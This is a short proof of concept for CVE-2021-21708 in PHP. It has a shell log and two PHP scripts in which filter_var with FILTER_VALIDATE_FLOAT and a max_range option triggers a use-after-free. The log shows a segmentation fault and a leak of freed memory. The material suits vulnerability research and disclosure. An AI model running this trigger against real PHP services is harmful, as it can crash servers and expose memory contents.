Minimal CVE-2021-21708 POC

bash.log

❯ php -r "filter_var(str_repeat(1, 2), FILTER_VALIDATE_FLOAT, ['options' => ['max_range' => 1]]); new PDO('mysql:');"
zsh: segmentation fault  php -r

❯ php -r "filter_var(\$v = str_repeat(1, 8), FILTER_VALIDATE_FLOAT, ['options' => ['max_range' =>  1]]); echo \$v;"
 charset%

poc.php

<?php
\filter_var(\str_repeat(1, 2), \FILTER_VALIDATE_FLOAT, ['options' => ['max_range' => 1]]);
new \PDO('mysql:');

poc2.php

<?php
\filter_var($v = \str_repeat(1, 8), \FILTER_VALIDATE_FLOAT, ['options' => ['max_range' =>  1]]); 
echo $v;